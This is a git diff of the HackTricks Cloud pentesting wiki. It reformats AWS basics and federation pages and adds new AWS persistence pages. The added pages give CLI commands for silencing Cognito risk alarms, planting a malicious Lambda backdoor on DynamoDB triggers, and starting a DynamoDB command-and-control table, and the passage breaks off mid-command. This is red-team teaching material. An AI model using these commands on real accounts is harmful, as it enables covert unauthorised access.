+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
 
 ## DEBUG: Capture AWS cli requests
 
@@ -395,20 +383,7 @@ aws ...
 
 ## References
 
-* [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-* [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
similarity index 78%
rename from pentesting-cloud/aws-security/aws-basic-information/README.md
rename to src/pentesting-cloud/aws-security/aws-basic-information/README.md
index a02cb59a1..c86c8f3bb 100644
--- a/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,23 +1,10 @@
 # AWS - Basic Information
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Organization Hierarchy
 
-![](<../../../.gitbook/assets/image (151).png>)
+![](<../../../images/image (151).png>)
 
 ### Accounts
 
@@ -27,19 +14,20 @@ This is very interesting from a **security** point of view, as **one account won
 
 Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
 
-*   The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
+- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
 
-    * Create accounts in the organization
-    * Invite other existing accounts to the organization
-    * Remove accounts from the organization
-    * Manage invitations
-    * Apply policies to entities (roots, OUs, or accounts) within the organization
-    * Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
-    * It's possible to login as the root user using the email and password used to create this root account/organization.
+  - Create accounts in the organization
+  - Invite other existing accounts to the organization
+  - Remove accounts from the organization
+  - Manage invitations
+  - Apply policies to entities (roots, OUs, or accounts) within the organization
+  - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
+  - It's possible to login as the root user using the email and password used to create this root account/organization.
 
-    The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
-* **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
-  * Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
+  The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
+
+- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
+  - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
 
 ```
 aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
@@ -61,25 +49,26 @@ A **service control policy (SCP)** is a policy that specifies the services and a
 This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
 The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
 
-{% hint style="warning" %}
-Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
-{% endhint %}
+> [!WARNING]
+> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
 
 SCP examples:
 
-* Deny the root account entirely
-* Only allow specific regions
-* Only allow white-listed services
-*   Deny GuardDuty, CloudTrail, and S3 Public Block Access from
+- Deny the root account entirely
+- Only allow specific regions
+- Only allow white-listed services
+- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
 
-    being disabled
-*   Deny security/incident response roles from being deleted or
+  being disabled
 
-    modified.
-* Deny backups from being deleted.
-* Deny creating IAM users and access keys
+- Deny security/incident response roles from being deleted or
 
-Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs\_manage\_policies\_scps\_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
+  modified.
+
+- Deny backups from being deleted.
+- Deny creating IAM users and access keys
+
+Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
 
 ### ARN
 
@@ -92,18 +81,18 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
 
 Note that there are 4 partitions in AWS but only 3 ways to call them:
 
-* AWS Standard: `aws`
-* AWS China: `aws-cn`
-* AWS US public Internet (GovCloud): `aws-us-gov`
-* AWS Secret (US Classified): `aws`
+- AWS Standard: `aws`
+- AWS China: `aws-cn`
+- AWS US public Internet (GovCloud): `aws-us-gov`
+- AWS Secret (US Classified): `aws`
 
 ## IAM - Identity and Access Management
 
 IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
 
-* **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
-* **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
-* **Access Control** - The method and process of how access is granted to a secure resource
+- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
+- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
+- **Access Control** - The method and process of how access is granted to a secure resource
 
 IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
 
@@ -125,8 +114,8 @@ Users can have **MFA enabled to login** through the console. API tokens of MFA e
 
 #### CLI
 
-* **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
-* **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
+- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
+- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
 
 Whenever you need to **change the Access Key** this is the process you should follow:\
 &#xNAN;_&#x43;reate a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
@@ -138,9 +127,9 @@ You can use a **free virtual application or a physical device**. You can use app
 
 Policies with MFA conditions can be attached to the following:
 
-* An IAM user or group
-* A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
-* The trust policy of an IAM role that can be assumed by a user
+- An IAM user or group
+- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
+- The trust policy of an IAM role that can be assumed by a user
 
 If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
 Note that **`AssumeRole` credentials don't contain this information**.
@@ -159,10 +148,10 @@ You can attach an **identity-based policy to a user group** so that all of the *
 
 Here are some important characteristics of user groups:
 
-* A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
-* **User groups can't be nested**; they can contain only users, not other user groups.
-* There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
-* The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
+- **User groups can't be nested**; they can contain only users, not other user groups.
+- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
+- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
 
 ### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
 
@@ -184,8 +173,8 @@ AWS Security Token Service (STS) is a web service that facilitates the **issuanc
 
 Are used to assign permissions. There are 2 types:
 
-* AWS managed policies (preconfigured by AWS)
-* Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
+- AWS managed policies (preconfigured by AWS)
+- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
 
 By **default access** is **denied**, access will be granted if an explicit role has been specified.\
 If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
@@ -200,7 +189,7 @@ If **single "Deny" exist, it will override the "Allow"**, except for requests th
             "Action": [  //Actions that will be allowed or denied
                 "ec2:AttachVolume",
                 "ec2:DetachVolume"
-            ], 
+            ],
             "Resource": [ //Resource the action and effect will be applied to
                 "arn:aws:ec2:*:*:volume/*",
                 "arn:aws:ec2:*:*:instance/*"
@@ -262,7 +251,7 @@ To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)
 
 However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
 
-<figure><img src="../../../.gitbook/assets/image (247).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
 
 ### IAM Identity Center
 
@@ -272,11 +261,11 @@ The login domain is going to be something like `<user_input>.awsapps.com`.
 
 To login users, there are 3 identity sources that can be used:
 
-* Identity Center Directory: Regular AWS users
-* Active Directory: Supports different connectors
-* External Identity Provider: All users and groups come from an external Identity Provider (IdP)
+- Identity Center Directory: Regular AWS users
+- Active Directory: Supports different connectors
+- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
 
-<figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
 
 In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
 
@@ -297,13 +286,13 @@ It's recommended to **specify the user who is trusted and not put some generic t
 
 Not supported:
 
-* Trust Relations
-* AD Admin Center
-* Full PS API support
-* AD Recycle Bin
-* Group Managed Service Accounts
-* Schema Extensions
-* No Direct access to OS or Instances
+- Trust Relations
+- AD Admin Center
+- Full PS API support
+- AD Recycle Bin
+- Group Managed Service Accounts
+- Schema Extensions
+- No Direct access to OS or Instances
 
 #### Web Federation or OpenID Authentication
 
@@ -311,8 +300,8 @@ The app uses the AssumeRoleWithWebIdentity to create temporary credentials. Howe
 
 ### Other IAM options
 
-* You can **set a password policy setting** options like minimum length and password requirements.
-* You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
+- You can **set a password policy setting** options like minimum length and password requirements.
+- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
 
 AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
 
@@ -338,14 +327,14 @@ In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_id
 
 The following privileges grant various read access of metadata:
 
-* `arn:aws:iam::aws:policy/SecurityAudit`
-* `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
-* `codebuild:ListProjects`
-* `config:Describe*`
-* `cloudformation:ListStacks`
-* `logs:DescribeMetricFilters`
-* `directconnect:DescribeConnections`
-* `dynamodb:ListTables`
+- `arn:aws:iam::aws:policy/SecurityAudit`
+- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
+- `codebuild:ListProjects`
+- `config:Describe*`
+- `cloudformation:ListStacks`
+- `logs:DescribeMetricFilters`
+- `directconnect:DescribeConnections`
+- `dynamodb:ListTables`
 
 ## Misc
 
@@ -390,21 +379,8 @@ If you are looking for something **similar** to this but for the **browser** you
 
 ## References
 
-* [https://docs.aws.amazon.com/organizations/latest/userguide/orgs\_getting-started\_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
-* [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
-* [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
+- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
+- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
+- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
similarity index 53%
rename from pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
rename to src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index e4f155bd0..6e25b21fe 100644
--- a/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -1,25 +1,14 @@
 # AWS - Federation Abuse
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## SAML
 
 For info about SAML please check:
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/saml-attacks" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/saml-attacks
+{{#endref}}
 
 In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
 
@@ -32,7 +21,7 @@ In order to add a github action as Identity provider:
 3. Click on _Get thumbprint_ to get the thumbprint of the provider
 4. For _Audience_, enter `sts.amazonaws.com`
 5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
-   * ```json
+   - ```json
      {
        "Version": "2012-10-17",
        "Statement": [
@@ -60,33 +49,33 @@ In order to add a github action as Identity provider:
 8. Finally use a github action to configure the AWS creds to be used by the workflow:
 
 ```yaml
-name: 'test AWS Access'
- 
+name: "test AWS Access"
+
 # The workflow should only trigger on pull requests to the main branch
 on:
   pull_request:
     branches:
       - main
- 
+
 # Required to get the ID Token that will be used for OIDC
 permissions:
   id-token: write
   contents: read # needed for private repos to checkout
- 
+
 jobs:
   aws:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout
         uses: actions/checkout@v3
- 
+
       - name: Configure AWS Credentials
         uses: aws-actions/configure-aws-credentials@v1
         with:
           aws-region: eu-west-1
-          role-to-assume: ${{ secrets.READ_ROLE }}
+          role-to-assume:${{ secrets.READ_ROLE }}
           role-session-name: OIDCSession
- 
+
       - run: aws sts get-caller-identity
         shell: bash
 ```
@@ -107,21 +96,21 @@ It's possible to generate **OIDC providers** in an **EKS** cluster simply by set
 
 ```json
 {
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Principal": {
-                "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
-            },
-            "Action": "sts:AssumeRoleWithWebIdentity",
-            "Condition": {
-                "StringEquals": {
-                    "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
-                }
-            }
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Principal": {
+        "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
+      },
+      "Action": "sts:AssumeRoleWithWebIdentity",
+      "Condition": {
+        "StringEquals": {
+          "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
         }
-    ]
+      }
+    }
+  ]
 }
 ```
 
@@ -129,27 +118,12 @@ This policy is correctly indicating than **only** the **EKS cluster** with **id*
 
 In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
 
-{% code overflow="wrap" %}
 ```bash
 "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
 ```
-{% endcode %}
 
 ## References
 
-* [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
+- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
new file mode 100644
index 000000000..0135472a0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -0,0 +1,17 @@
+# AWS - Permissions for a Pentest
+
+{{#include ../../banners/hacktricks-training.md}}
+
+These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
+
+- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
+- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
+  - **access-analyzer:List\***
+  - **access-analyzer:Get\***
+  - **iam:CreateServiceLinkedRole**
+  - **access-analyzer:CreateAnalyzer**
+    - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
+  - **access-analyzer:DeleteAnalyzer**
+    - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md
similarity index 100%
rename from pentesting-cloud/aws-security/aws-persistence/README.md
rename to src/pentesting-cloud/aws-security/aws-persistence/README.md
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
new file mode 100644
index 000000000..2026f7c2f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+For more information go to:
+
+{{#ref}}
+../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Resource Policy
+
+Modify the resource policy of the API gateway(s) to grant yourself access to them
+
+### Modify Lambda Authorizers
+
+Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
+Or just remove the use of the authorizer.
+
+### IAM Permissions
+
+If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
+Or just remove the use of the authorizer.
+
+### API Keys
+
+If API keys are used, you could leak them to maintain persistence or even create new ones.\
+Or just remove the use of API keys.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
new file mode 100644
index 000000000..0c7c000bb
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -0,0 +1,42 @@
+# AWS - Cognito Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+For more information, access:
+
+{{#ref}}
+../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### User persistence
+
+Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
+
+- **Adding a User Pool** controlled by the user to an Identity Pool
+- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
+  - Or to an **authenticated Identity Pool** if the attacker can login
+  - Or **improve the permissions** of the given roles
+- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
+- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
+
+Check how to do these actions in
+
+{{#ref}}
+../aws-privilege-escalation/aws-cognito-privesc.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
+
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+
+By default this is disabled:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
new file mode 100644
index 000000000..e37a874e8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -0,0 +1,63 @@
+# AWS - DynamoDB Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### DynamoDB
+
+For more information access:
+
+{{#ref}}
+../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### DynamoDB Triggers with Lambda Backdoor
+
+Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
+
+```bash
+# Create a malicious Lambda function
+aws lambda create-function \
+    --function-name MaliciousFunction \
+    --runtime nodejs14.x \
+    --role <LAMBDA_ROLE_ARN> \
+    --handler index.handler \
+    --zip-file fileb://malicious_function.zip \
+    --region <region>
+
+# Associate the Lambda function with the DynamoDB table as a trigger
+aws dynamodbstreams describe-stream \
+    --table-name TargetTable \
+    --region <region>
+
+# Note the "StreamArn" from the output
+aws lambda create-event-source-mapping \
+    --function-name MaliciousFunction \
+    --event-source <STREAM_ARN> \
+    --region <region>
+```
+
+To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
+
+### DynamoDB as a C2 Channel
+
+An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
+
+```bash
+# Create a DynamoDB table for C2
+aws dynamodb create-table \
+    --table-name C2Table \
+    --attribute-definitions AttributeName=CommandId,AttributeType=S \
+    --key-schema AttributeName=CommandId,KeyType=HASH \
